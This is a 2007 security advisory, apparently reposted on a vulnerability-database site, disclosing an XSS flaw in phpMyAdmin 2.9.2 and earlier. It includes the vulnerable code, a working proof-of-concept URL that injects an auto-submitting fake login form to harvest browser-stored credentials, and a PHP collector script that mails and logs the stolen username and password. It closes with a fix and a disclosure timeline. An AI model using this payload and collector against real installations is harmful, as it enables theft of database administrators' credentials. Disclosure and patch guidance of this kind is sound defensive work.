`---------------------------------------------------------------------------------
| ____ ____.__ __ |
| \ \ / /|__|_______/ |_ __ _______ ___ ___ |
| \ Y / | \_ __ \ __\ | \__ \ \ \/ / |
| \ / | || | \/| | | | // __ \_> < |
| \___/ |__||__| |__| |____/(____ /__/\_ \ |
| \/ \/ |
| Security without illusions |
| www.virtuax.be |
| |
---------------------------------------------------------------------------------
Application: Phpmyadmin
Vulnerable Versions: <= v2.9.2
Vulnerability: XSS
Vendor: http://www.phpmyadmin.net
Vendor Status: notified
Found: 23-01-2007
Public Release Date: 07-02-2007
Last modified: 01-03-2007
Author: AlFa
reference: http://www.virtuax.be/advisories/Advisory2-24012007.txt
=================================================================================
Special thanks to Ciri for coding that nice POC, testing and spell check =)
Shouts to RedFern, dreamer--, Shadow, r4n01 and the rest of the Virtuax Community!
=================================================================================
I. Background
-------------
"phpMyAdmin is a tool written in PHP intended to handle the administration of MySQL
over the Web. Currently it can create and drop databases, create/drop/alter tables,
delete/edit/add fields, execute any SQL statement, manage keys on fields, manage
privileges,export data into various formats and is available in 50 languages."
by phpmyadmin.net
II. Vulnerablity
----------------
The xss attack vector can be inserted in $db or $table. But the catch is that
the attack variable must be submitted together with $token otherwise it won't work.
That makes it quiet useless for session stealing but in combination with XSRF and XSS it is
possible to steal the username and password from an unsuspicious users when their credentials
are stored in the browser password manager.
The code listed below is taken from phpmyadmin 2.9.2 and may vary for older versions.
[Code=index.php (116-132)]
...
<script type="text/javascript" language="javascript">
// <![CDATA[
// definitions used in querywindow.js
var common_query = '<?php echo PMA_escapeJsString(PMA_generate_common_url('', '', '&'));?>';
var opendb_url = '<?php echo PMA_escapeJsString($GLOBALS['cfg']['DefaultTabDatabase']); ?>';
var safari_browser = <?php echo PMA_USR_BROWSER_AGENT == 'SAFARI' ? 'true' : 'false' ?>;
var querywindow_height = <?php echo PMA_escapeJsString($GLOBALS['cfg']['QueryWindowHeight']); ?>;
var querywindow_width = <?php echo PMA_escapeJsString($GLOBALS['cfg']['QueryWindowWidth']); ?>;
var collation_connection = '<?php echo PMA_escapeJsString($GLOBALS['collation_connection']); ?>';
var lang = '<?php echo PMA_escapeJsString($GLOBALS['lang']); ?>';
var server = '<?php echo PMA_escapeJsString($GLOBALS['server']); ?>';
var table = '<?php echo PMA_escapeJsString($GLOBALS['table']); ?>';
var db = '<?php echo PMA_escapeJsString($GLOBALS['db']); ?>';
var text_dir = '<?php echo PMA_escapeJsString($GLOBALS['text_dir']); ?>';
var pma_absolute_uri = '<?php echo PMA_escapeJsString($GLOBALS['cfg']['PmaAbsoluteUri']); ?>';
// ]]>
</script>
...
[/code]
[code=./libraries/common.lib.php (1395-1412)]
...
/**
* escapes a string to be inserted as string a JavaScript block
* enclosed by <![CDATA[ ... ]]>
* this requires only to escape ' with \' and end of script block
*
* @uses strtr()
* @param string $string the string to be escaped
* @return string the escaped string
*/
function PMA_escapeJsString($string)
{
return strtr($string, array(
'\\' => '\\\\',
'\'' => '\\\'',
"\n" => '\n',
"\r" => '\r',
'</script' => '</\' + \'script'));
}
...
[/code]
As you all can see, $db and $table are prone to and XSS attack by preleminary ending the script
with the </SCRIPT> (uppercase) tag. after that we can write javascript or if preferred html.
eg:
http://phpmyadmin.example.com/index.php?token=$token&db/table=';[XSS]
http://phpmyadmin.example.com/index.php?token=$token&db/table=</SCRIPT></head><body>[HTML]
IIa. Affected Versions
----------------------
all version >= 2.8.0 and < 2.10.x are tested and found vulnerably, presumably some older version are
also vulnerable but they weren't tested.
Tested with browsers: FF 2.0, FF 1.5, IE 6.0 and Opera 9.10
III. POC
--------
The POC is pretty simple, just log in to phpmyadmin, copypaste the (modified) URL
below and then you see the loginform with your credentials filled in (if you store store them in your browser).
http://phpmyadmin.example.com/index.php?lang=en-utf-8&token=$token&db=';//
]]></script></head><body><form method='POST'
action='steel.php' name='login_form' id='login_form'
target='_top' class='login'><fieldset><legend>Log in</legend><div
class='item'><label for='input_username'>Username:</label><input
type='text' name='pma_username' id='input_username' value='main'
size='24' class='textfield' /></div><div class='item'><label
for='input_password'>Password:</label><input type='password'
name='pma_password' id='input_password' value='' size='24'
class='textfield' /></div><input type='hidden' name='server' value='1'
/></fieldset><fieldset class='tblFooters'><input value='Go'
type='submit' /><input type='hidden' name='lang' value='en-utf-8'
/><input type='hidden' name='convcharset' value='iso-8859-1'
/></fieldset><script>setTimeout('document.login_form.submit()',1000);</script></form>//<![CDATA[
var a='
The timeout is needed because the browser takes his time to load all userinfo in to the form.
On slower computers it might be safer to use a value > 1000.
[code=steel.php]
<?php
//Get the data
$user = $_POST["pma_username"];
$pass=$_POST["pma_password"];
//Send it to our e-mail
mail("your@email", "Pass Recieved", $user.":".$pass);
//Save in a back-up file, set right perms
$file = fopen('log.txt', 'a');
fwrite($file, $user . ":". $pass . "\n\n");
echo $user.":".$pass;
?>
[/code]
To really exploit this vulnerability is a little more difficult because of the cookie authentication method
used in phpmyadmin. But in case the domain where phpmyadmin is hosted contains XSS holes, it isn't that hard
to achieve. One could connect to the phpmyadmin trough sockets to obtain login information like the token and
cookie values and then set the right cookies at te target by using the xss hole (on the same domain where phpmyadmin
is hosted) with javascript. Then you'll just have to load the poc url (in a frame) and that should do it.
And thanx to Michael Zalewski an XSS isn't necessary anymore for FF <2.0.2 (http://lcamtuf.dione.cc/ffhostname.html).
IV. Solution
------------
A. Quickfix
Replace this code (./libraries/common.lib.php (1406-1411)):
return strtr($string, array(
'\\' => '\\\\',
'\'' => '\\\'',
"\n" => '\n',
"\r" => '\r',
'</script' => '</\' + \'script'));
with this code:
return htmlspecialchars(strtr($string, array(
'\\' => '\\\\',
'\'' => '\\\'',
"\n" => '\n',
"\r" => '\r',
'</script' => '</\' + \'script')),ENT_QUOTES);
B. upgrade to the new(er/est) version of phpmyadmin which you can find here:
http://www.phpmyadmin.net/home_page/downloads.php
V. timeline
-----------
23-01-2007: vulnerability found
24-01-2007: vendor contacted
07-03-2007: public disclosure
Copyright 2007 by Alfa from Virtuax.be All rights reserved.
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation